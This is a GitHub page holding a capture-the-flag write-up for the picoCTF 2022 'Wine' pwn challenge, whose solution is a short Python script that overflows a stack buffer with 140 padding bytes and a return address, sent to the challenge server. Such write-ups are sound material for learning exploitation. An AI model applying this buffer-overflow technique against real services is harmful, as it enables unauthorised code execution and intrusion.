Skip to content

Latest commit

 

History

History
46 lines (37 loc) · 867 Bytes

wine.md

File metadata and controls

46 lines (37 loc) · 867 Bytes
name event category description layout
Wine (2022)
Pico CTF 2022
Pwn
Writeup for Wine (Pwn) - Pico CTF (2022) 💜
title description tableOfContents outline pagination
visible
true
visible
true
visible
true
visible
true
visible
true

Wine

Video Walkthrough

VIDEO

Description

Challenge best paired with wine.

Solution

{% code overflow="wrap" %}

import socket

payload = b'A' * 140
payload += b'\x30\x15\x40'
print('payload = ' + str(payload))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect(('saturn.picoctf.net', 62461))
print(s.recv(1024))
print(s.send(payload + b'\r\n'))
print(s.recv(1024))
s.close()

{% endcode %}